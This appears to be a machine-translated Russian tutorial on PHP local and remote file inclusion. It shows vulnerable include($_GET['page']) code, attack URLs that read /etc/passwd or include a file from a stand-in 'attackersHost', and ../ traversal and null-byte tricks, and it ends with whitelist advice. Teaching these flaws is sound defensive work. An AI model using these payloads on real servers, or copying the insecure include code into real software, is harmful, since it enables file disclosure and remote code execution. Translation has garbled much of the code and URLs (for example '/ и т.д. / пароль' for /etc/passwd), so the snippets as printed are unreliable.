Вам бонус- начислено 1 монета за дневную активность. Сейчас у вас 1 монета

Включение файлов

Практика



Включение файлов в этом контексте означает, что злоумышленник может получить интерпретатор жертвы для загрузки данного файла. Файл может быть загружен с сервера жертвы или с другого хоста. Чтобы сделать это, жертве нужен какой-то небезопасный код, как показано ниже.

 

 

Локальное включение файлов

Это позволит злоумышленнику прочитать любой файл, который может прочитать владелец процесса веб-сервера.

<? php 
  include ( $ _GET [ 'page' ] ) ; 
?>

HTTP: //localhost/index.php страница = / и т.д. / пароль

 

Удаленное включение файлов

Злоумышленник может также внедрить собственный файл, который будет проанализирован интерпретатором PHP http: // localhosts.

<? php 
  include ( $ _GET [ 'page' ] ) ; 
?>

HTTP: //localhost/index.php страница = HTTP: //attackersHost/inject.txt

 

неправильная защита 1: file_exists ()

или мы не хотим, чтобы удаленный файл был включен

Добавим проверку, существует ли данный файл в локальной файловой системе:

<? php 
  if ( file_exists ( $ _GET [ 'page' ] ) )  { 
    include ( $ _GET [ 'page' ] ) ; 
  } 
?>

Теперь злоумышленник больше не в состоянии внедрить удаленный файл.

Но это означает, что вы все равно можете набрать http: //localhost/index.php? Page = / etc / passwd

Файл существует и вуаля.

 

неправильная защита 2: каталог тюрьмы

или где приходит относительный путь обхода

Подход к прекращению чтения наших файлов заключается в том, чтобы посадить злоумышленника в определенный каталог:

<? php 
  if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] ) )  { 
    include ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ; 
  } 
?>

Предположим, мы находимся по адресу /var/www/index.php

1st ../ изменит путь к / var /

2nd ../ изменит путь к /

Это означает, что вы можете предоставить что-то вроде http: //localhost/index.php? Page = .. / .. / etc / passwd

/ etc / passwd существует и вуаля.


Поскольку злоумышленник не знает, где находится веб-корень в файловой системе сервера, он может получить эту информацию, вызвав ошибки с неверно заданными параметрами.

Или просто угадать до 10 или даже больше уровня.

Читайте полный путь раскрытия для получения дополнительной информации.

 

неправильная защита 3: добавление содержимого в имя файла

или куда входит байт Poison Null

Другой подход к прекращению чтения наших файлов заключается в добавлении .php (или чего-либо еще) в конец данного файла:

<? php 
  if ( file_exists ( $ _GET [ 'page' ]  .  '.php' ) )  { 
    include ( $ _GET [ 'page' ]  .  '.php' ) ; 
  } 
?>

Это означает, что злоумышленник должен сказать переводчику-жертве остановить строку перед добавлением «.php».

Это можно сделать следующим образом: http: //localhost/index.php? Page = / etc / passwd% 00

file_exists () проверит наличие файла с именем /etc/passwd%00.php и исправит меня, если я ошибаюсь

Файл / etc / passwd существует и вуаля.

Прочитайте Poison Null Byte для получения дополнительной информации.


Это можно сочетать с атакой по каталогу, чтобы сломать

<? php 
  if ( file_exists ( $ myBasedir  .  '/'  .  $ _GET [ 'page' ]  .  '.php' ) )  { 
    include ( $ myBasedir  .  '/'  .  $ _GET [ 'page' ]  .  '.php' ) ; 
  } 
?>

запросив http: //localhost/index.php? page = .. / .. / etc / passwd% 00

 

лучший подход к защите

Мы могли бы начать отфильтровывать специальные символы, такие как "/", "." и "%"

Я не знаю, что произойдет, если взломщик использует Hex, Unicode или другую кодировку.

Или закодированная кодировка. Просто слишком много, чтобы волноваться.

В этой ситуации белый список намного безопаснее, чем любой черный список:

<? php 
  if ( $ _GET [ 'page' ]  ==  'news' )  { 
    include ( 'news.php' ) ; 
  } 
?>

Вы также можете иметь массив разрешенных входных данных (возможно, созданный ранее с помощью SQL-запроса) и спросить, находится ли $ _GET ['page'] в этом массиве. Если true, включите связанный файл. Если False, сделайте несколько небольших проверок строки. Если вы обнаружите вредоносный контент (например, "\.% '/) В $ _GET [' page '], вставьте IP-адрес злоумышленника в черный список на основе IP-адреса. Или если вы контролируете сервер, добавьте его IP-адрес в брандмауэр. Таким образом, у злоумышленников не будет больше (прокси) IP-адресов рано или поздно и «нормальные» ошибки регистрируются без внесения в черный список IP-адресов пользователей.

Не стесняйтесь изменять этот текст

создано: 2020-07-02
обновлено: 2021-03-13
26



Рейтиг 9 of 10. count vote: 2
Вы довольны ?:


Поделиться:

Найди готовое или заработай

С нашими удобными сервисами без комиссии*

Как это работает? | Узнать цену?

Найти исполнителя
$0 / весь год.
  • У вас есть задание, но нет времени его делать
  • Вы хотите найти профессионала для выплнения задания
  • Возможно примерение функции гаранта на сделку
  • Приорететная поддержка
  • идеально подходит для студентов, у которых нет времени для решения заданий
Готовое решение
$0 / весь год.
  • Вы можите продать(исполнителем) или купить(заказчиком) готовое решение
  • Вам предоставят готовое решение
  • Будет предоставлено в минимальные сроки т.к. задание уже готовое
  • Вы получите базовую гарантию 8 дней
  • Вы можете заработать на материалах
  • подходит как для студентов так и для преподавателей
Я исполнитель
$0 / весь год.
  • Вы профессионал своего дела
  • У вас есть опыт и желание зарабатывать
  • Вы хотите помочь в решении задач или написании работ
  • Возможно примерение функции гаранта на сделку
  • подходит для опытных студентов так и для преподавателей

Комментарии


Оставить комментарий
Если у вас есть какое-либо предложение, идея, благодарность или комментарий, не стесняйтесь писать. Мы очень ценим отзывы и рады услышать ваше мнение.
To reply

информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации

Термины: информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации